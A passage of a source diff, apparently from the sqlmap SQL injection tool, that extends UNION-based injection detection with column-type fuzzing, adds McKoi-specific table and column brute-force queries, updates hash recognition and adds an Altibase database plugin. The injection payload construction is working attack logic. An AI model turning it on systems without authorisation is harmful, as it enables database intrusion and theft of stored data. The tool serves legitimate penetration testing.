query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
|
||||||
|
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
|
||||||
|
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE)
|
||||||
|
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||||
|
|
||||||
|
if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""):
|
||||||
|
for column in candidate:
|
||||||
|
if column.startswith("'") and column.strip("'") in (page or ""):
|
||||||
|
retVal = [(_ if _ != column else "%s") for _ in candidate]
|
||||||
|
break
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
|
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
|
||||||
validPayload = None
|
validPayload = None
|
||||||
vector = None
|
vector = None
|
||||||
@@ -205,7 +241,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
|||||||
if content and phrase in content:
|
if content and phrase in content:
|
||||||
validPayload = payload
|
validPayload = payload
|
||||||
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
|
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
|
||||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial)
|
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate)
|
||||||
|
|
||||||
if where == PAYLOAD.WHERE.ORIGINAL:
|
if where == PAYLOAD.WHERE.ORIGINAL:
|
||||||
# Prepare expression with delimiters
|
# Prepare expression with delimiters
|
||||||
@@ -223,7 +259,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
|||||||
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
|
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
|
||||||
|
|
||||||
if not all(_ in content for _ in (phrase, phrase2)):
|
if not all(_ in content for _ in (phrase, phrase2)):
|
||||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
|
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
|
||||||
elif not kb.unionDuplicates:
|
elif not kb.unionDuplicates:
|
||||||
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
|
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
|
||||||
|
|
||||||
@@ -237,7 +273,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
|||||||
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
|
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
|
||||||
warnMsg = "output with limited number of rows detected. Switching to partial mode"
|
warnMsg = "output with limited number of rows detected. Switching to partial mode"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
|
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
|
||||||
|
|
||||||
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
|
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
|
||||||
|
|
||||||
@@ -277,17 +313,27 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
|||||||
vector = None
|
vector = None
|
||||||
orderBy = kb.orderByColumns
|
orderBy = kb.orderByColumns
|
||||||
uChars = (conf.uChar, kb.uChar)
|
uChars = (conf.uChar, kb.uChar)
|
||||||
|
where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE
|
||||||
|
|
||||||
# In case that user explicitly stated number of columns affected
|
# In case that user explicitly stated number of columns affected
|
||||||
if conf.uColsStop == conf.uColsStart:
|
if conf.uColsStop == conf.uColsStart:
|
||||||
count = conf.uColsStart
|
count = conf.uColsStart
|
||||||
else:
|
else:
|
||||||
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)
|
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where)
|
||||||
|
|
||||||
if count:
|
if count:
|
||||||
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
|
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
|
||||||
|
|
||||||
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
|
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)):
|
||||||
|
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
|
||||||
|
if kb.fuzzUnionTest is None:
|
||||||
|
msg = "do you want to (re)try to find proper "
|
||||||
|
msg += "UNION column types with fuzzy test? [y/N] "
|
||||||
|
|
||||||
|
kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
|
||||||
|
if kb.fuzzUnionTest:
|
||||||
|
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
|
||||||
|
|
||||||
warnMsg = "if UNION based SQL injection is not detected, "
|
warnMsg = "if UNION based SQL injection is not detected, "
|
||||||
warnMsg += "please consider "
|
warnMsg += "please consider "
|
||||||
|
|
||||||
|
|||||||
@@ -78,6 +78,14 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
|
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
|
||||||
kb.unionDuplicates = vector[7]
|
kb.unionDuplicates = vector[7]
|
||||||
kb.forcePartialUnion = vector[8]
|
kb.forcePartialUnion = vector[8]
|
||||||
|
|
||||||
|
# Note: introduced columns in 1.4.2.42#dev
|
||||||
|
try:
|
||||||
|
kb.tableFrom = vector[9]
|
||||||
|
kb.unionTemplate = vector[10]
|
||||||
|
except IndexError:
|
||||||
|
pass
|
||||||
|
|
||||||
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
|
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
|
||||||
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
|
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
|
||||||
else:
|
else:
|
||||||
@@ -261,9 +269,9 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
else:
|
else:
|
||||||
stopLimit = int(count)
|
stopLimit = int(count)
|
||||||
|
|
||||||
infoMsg = "used SQL query returns "
|
debugMsg = "used SQL query returns "
|
||||||
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
|
debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
|
||||||
logger.info(infoMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
|
elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
|
||||||
warnMsg = "it was not possible to count the number "
|
warnMsg = "it was not possible to count the number "
|
||||||
|
|||||||
+9
-5
@@ -29,6 +29,8 @@ from lib.core.convert import decodeBase64
|
|||||||
from lib.core.convert import dejsonize
|
from lib.core.convert import dejsonize
|
||||||
from lib.core.convert import encodeBase64
|
from lib.core.convert import encodeBase64
|
||||||
from lib.core.convert import encodeHex
|
from lib.core.convert import encodeHex
|
||||||
|
from lib.core.convert import getBytes
|
||||||
|
from lib.core.convert import getText
|
||||||
from lib.core.convert import jsonize
|
from lib.core.convert import jsonize
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -459,7 +461,7 @@ def option_get(taskid):
|
|||||||
logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option))
|
logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option))
|
||||||
return jsonize({"success": False, "message": "Unknown option '%s'" % option})
|
return jsonize({"success": False, "message": "Unknown option '%s'" % option})
|
||||||
|
|
||||||
logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ",".join(options)))
|
logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ','.join(options)))
|
||||||
|
|
||||||
return jsonize({"success": True, "options": results})
|
return jsonize({"success": True, "options": results})
|
||||||
|
|
||||||
@@ -711,17 +713,19 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
|
|||||||
def _client(url, options=None):
|
def _client(url, options=None):
|
||||||
logger.debug("Calling '%s'" % url)
|
logger.debug("Calling '%s'" % url)
|
||||||
try:
|
try:
|
||||||
data = None
|
|
||||||
if options is not None:
|
|
||||||
data = jsonize(options)
|
|
||||||
headers = {"Content-Type": "application/json"}
|
headers = {"Content-Type": "application/json"}
|
||||||
|
|
||||||
|
if options is not None:
|
||||||
|
data = getBytes(jsonize(options))
|
||||||
|
else:
|
||||||
|
data = None
|
||||||
|
|
||||||
if DataStore.username or DataStore.password:
|
if DataStore.username or DataStore.password:
|
||||||
headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False)
|
headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False)
|
||||||
|
|
||||||
req = _urllib.request.Request(url, data, headers)
|
req = _urllib.request.Request(url, data, headers)
|
||||||
response = _urllib.request.urlopen(req)
|
response = _urllib.request.urlopen(req)
|
||||||
text = response.read()
|
text = getText(response.read())
|
||||||
except:
|
except:
|
||||||
if options:
|
if options:
|
||||||
logger.error("Failed to load and parse %s" % url)
|
logger.error("Failed to load and parse %s" % url)
|
||||||
|
|||||||
+14
-4
@@ -41,6 +41,7 @@ from lib.core.exception import SqlmapNoneDataException
|
|||||||
from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE
|
from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE
|
||||||
from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE
|
from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE
|
||||||
from lib.core.settings import METADB_SUFFIX
|
from lib.core.settings import METADB_SUFFIX
|
||||||
|
from lib.core.settings import UPPER_CASE_DBMSES
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
from lib.core.threads import runThreads
|
from lib.core.threads import runThreads
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
@@ -83,7 +84,7 @@ def tableExists(tableFile, regex=None):
|
|||||||
|
|
||||||
pushValue(conf.db)
|
pushValue(conf.db)
|
||||||
|
|
||||||
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||||
conf.db = conf.db.upper()
|
conf.db = conf.db.upper()
|
||||||
|
|
||||||
message = "which common tables (wordlist) file do you want to use?\n"
|
message = "which common tables (wordlist) file do you want to use?\n"
|
||||||
@@ -131,7 +132,11 @@ def tableExists(tableFile, regex=None):
|
|||||||
else:
|
else:
|
||||||
fullTableName = table
|
fullTableName = table
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
|
if Backend.isDbms(DBMS.MCKOI):
|
||||||
|
_ = randomInt(1)
|
||||||
|
result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName)))
|
||||||
|
else:
|
||||||
|
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
|
||||||
|
|
||||||
kb.locks.io.acquire()
|
kb.locks.io.acquire()
|
||||||
|
|
||||||
@@ -197,7 +202,7 @@ def columnExists(columnFile, regex=None):
|
|||||||
errMsg = "missing table parameter"
|
errMsg = "missing table parameter"
|
||||||
raise SqlmapMissingMandatoryOptionException(errMsg)
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||||
conf.db = conf.db.upper()
|
conf.db = conf.db.upper()
|
||||||
|
|
||||||
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))
|
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))
|
||||||
@@ -250,7 +255,10 @@ def columnExists(columnFile, regex=None):
|
|||||||
kb.locks.count.release()
|
kb.locks.count.release()
|
||||||
break
|
break
|
||||||
|
|
||||||
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
|
if Backend.isDbms(DBMS.MCKOI):
|
||||||
|
result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table)))
|
||||||
|
else:
|
||||||
|
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
|
||||||
|
|
||||||
kb.locks.io.acquire()
|
kb.locks.io.acquire()
|
||||||
|
|
||||||
@@ -291,6 +299,8 @@ def columnExists(columnFile, regex=None):
|
|||||||
result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
|
result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,):
|
||||||
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column)))
|
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column)))
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,):
|
||||||
|
result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table)))
|
||||||
else:
|
else:
|
||||||
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
|
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
|
||||||
|
|
||||||
|
|||||||
+14
-2
@@ -29,7 +29,7 @@ def checkDependencies():
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
elif dbmsName == DBMS.MYSQL:
|
elif dbmsName == DBMS.MYSQL:
|
||||||
__import__("pymysql")
|
__import__("pymysql")
|
||||||
elif dbmsName == DBMS.PGSQL:
|
elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB):
|
||||||
__import__("psycopg2")
|
__import__("psycopg2")
|
||||||
elif dbmsName == DBMS.ORACLE:
|
elif dbmsName == DBMS.ORACLE:
|
||||||
__import__("cx_Oracle")
|
__import__("cx_Oracle")
|
||||||
@@ -41,11 +41,23 @@ def checkDependencies():
|
|||||||
__import__("kinterbasdb")
|
__import__("kinterbasdb")
|
||||||
elif dbmsName == DBMS.DB2:
|
elif dbmsName == DBMS.DB2:
|
||||||
__import__("ibm_db_dbi")
|
__import__("ibm_db_dbi")
|
||||||
elif dbmsName == DBMS.HSQLDB:
|
elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE):
|
||||||
__import__("jaydebeapi")
|
__import__("jaydebeapi")
|
||||||
__import__("jpype")
|
__import__("jpype")
|
||||||
elif dbmsName == DBMS.INFORMIX:
|
elif dbmsName == DBMS.INFORMIX:
|
||||||
__import__("ibm_db_dbi")
|
__import__("ibm_db_dbi")
|
||||||
|
elif dbmsName == DBMS.MONETDB:
|
||||||
|
__import__("pymonetdb")
|
||||||
|
elif dbmsName == DBMS.DERBY:
|
||||||
|
__import__("drda")
|
||||||
|
elif dbmsName == DBMS.VERTICA:
|
||||||
|
__import__("vertica_python")
|
||||||
|
elif dbmsName == DBMS.PRESTO:
|
||||||
|
__import__("prestodb")
|
||||||
|
elif dbmsName == DBMS.MIMERSQL:
|
||||||
|
__import__("mimerpy")
|
||||||
|
elif dbmsName == DBMS.CUBRID:
|
||||||
|
__import__("CUBRIDdb")
|
||||||
except:
|
except:
|
||||||
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
|
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
|
||||||
warnMsg += "in order to directly connect to the DBMS "
|
warnMsg += "in order to directly connect to the DBMS "
|
||||||
|
|||||||
+21
-24
@@ -33,7 +33,6 @@ else:
|
|||||||
import base64
|
import base64
|
||||||
import binascii
|
import binascii
|
||||||
import gc
|
import gc
|
||||||
import hashlib
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import tempfile
|
import tempfile
|
||||||
@@ -248,18 +247,6 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version '
|
|||||||
|
|
||||||
return retVal.upper() if uppercase else retVal.lower()
|
return retVal.upper() if uppercase else retVal.lower()
|
||||||
|
|
||||||
def md4_generic_passwd(password, uppercase=False):
|
|
||||||
"""
|
|
||||||
>>> md4_generic_passwd(password='testpass', uppercase=False)
|
|
||||||
'5b4d300688f19c8fd65b8d6ccf98e0ae'
|
|
||||||
"""
|
|
||||||
|
|
||||||
password = getBytes(password)
|
|
||||||
|
|
||||||
retVal = hashlib.new("md4", password).hexdigest()
|
|
||||||
|
|
||||||
return retVal.upper() if uppercase else retVal.lower()
|
|
||||||
|
|
||||||
def md5_generic_passwd(password, uppercase=False):
|
def md5_generic_passwd(password, uppercase=False):
|
||||||
"""
|
"""
|
||||||
>>> md5_generic_passwd(password='testpass', uppercase=False)
|
>>> md5_generic_passwd(password='testpass', uppercase=False)
|
||||||
@@ -740,21 +727,31 @@ def attackDumpedTable():
|
|||||||
table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
|
table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
|
||||||
|
|
||||||
def hashRecognition(value):
|
def hashRecognition(value):
|
||||||
|
"""
|
||||||
|
>>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC
|
||||||
|
True
|
||||||
|
>>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE
|
||||||
|
True
|
||||||
|
>>> hashRecognition("foobar") == None
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL)
|
if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes)
|
||||||
|
isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL)
|
||||||
|
|
||||||
if isinstance(value, six.string_types):
|
if isinstance(value, six.string_types):
|
||||||
for name, regex in getPublicTypeMembers(HASH):
|
for name, regex in getPublicTypeMembers(HASH):
|
||||||
# Hashes for Oracle and old MySQL look the same hence these checks
|
# Hashes for Oracle and old MySQL look the same hence these checks
|
||||||
if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
|
if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
|
||||||
continue
|
|
||||||
elif regex == HASH.CRYPT_GENERIC:
|
|
||||||
if any((value.lower() == value, value.upper() == value)):
|
|
||||||
continue
|
continue
|
||||||
elif re.match(regex, value):
|
elif regex == HASH.CRYPT_GENERIC:
|
||||||
retVal = regex
|
if any((value.lower() == value, value.upper() == value)):
|
||||||
break
|
continue
|
||||||
|
elif re.match(regex, value):
|
||||||
|
retVal = regex
|
||||||
|
break
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
|||||||
@@ -93,11 +93,8 @@ class ProgressBar(object):
|
|||||||
|
|
||||||
dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??"))))
|
dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??"))))
|
||||||
if self._amount >= self._max:
|
if self._amount >= self._max:
|
||||||
if not conf.liveTest:
|
dataToStdout("\r%s\r" % (" " * self._width))
|
||||||
dataToStdout("\r%s\r" % (" " * self._width))
|
kb.prependFlag = False
|
||||||
kb.prependFlag = False
|
|
||||||
else:
|
|
||||||
dataToStdout("\n")
|
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
+2
-1
@@ -13,6 +13,7 @@ from lib.core.common import popValue
|
|||||||
from lib.core.common import pushValue
|
from lib.core.common import pushValue
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import urlencode
|
from lib.core.common import urlencode
|
||||||
|
from lib.core.convert import getBytes
|
||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -132,7 +133,7 @@ def _search(dork):
|
|||||||
regex = DUCKDUCKGO_REGEX
|
regex = DUCKDUCKGO_REGEX
|
||||||
|
|
||||||
try:
|
try:
|
||||||
req = _urllib.request.Request(url, data=data, headers=requestHeaders)
|
req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders)
|
||||||
conn = _urllib.request.urlopen(req)
|
conn = _urllib.request.urlopen(req)
|
||||||
|
|
||||||
requestMsg = "HTTP request:\nGET %s" % url
|
requestMsg = "HTTP request:\nGET %s" % url
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ def timeout(func, args=None, kwargs=None, duration=1, default=None):
|
|||||||
thread.start()
|
thread.start()
|
||||||
thread.join(duration)
|
thread.join(duration)
|
||||||
|
|
||||||
if thread.isAlive():
|
if thread.is_alive():
|
||||||
return default, TIMEOUT_STATE.TIMEOUT
|
return default, TIMEOUT_STATE.TIMEOUT
|
||||||
else:
|
else:
|
||||||
return thread.result, thread.timeout_state
|
return thread.result, thread.timeout_state
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
|||||||
|
|
||||||
class Enumeration(GenericEnumeration):
|
class Enumeration(GenericEnumeration):
|
||||||
def getBanner(self):
|
def getBanner(self):
|
||||||
warnMsg = "on Microsoft Access it is not possible to get a banner"
|
warnMsg = "on Microsoft Access it is not possible to get the banner"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|||||||
@@ -0,0 +1,30 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import ALTIBASE_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.altibase.enumeration import Enumeration
|
||||||
|
from plugins.dbms.altibase.filesystem import Filesystem
|
||||||
|
from plugins.dbms.altibase.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.altibase.syntax import Syntax
|
||||||
|
from plugins.dbms.altibase.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class AltibaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines Altibase methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = ALTIBASE_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.ALTIBASE] = Syntax.escape
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
def connect(self):
|
||||||
|
errMsg = "on Altibase it is not (currently) possible to establish a "
|
||||||
|
errMsg += "direct connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getStatements(self):
|
||||||
|
warnMsg = "on Altibase it is not possible to enumerate the SQL statements"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def getHostname(self):
|
||||||
|
warnMsg = "on Altibase it is not possible to enumerate the hostname"
|
||||||
|
logger.warn(warnMsg)
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
pass
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import ALTIBASE_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.ALTIBASE)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.ALTIBASE
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
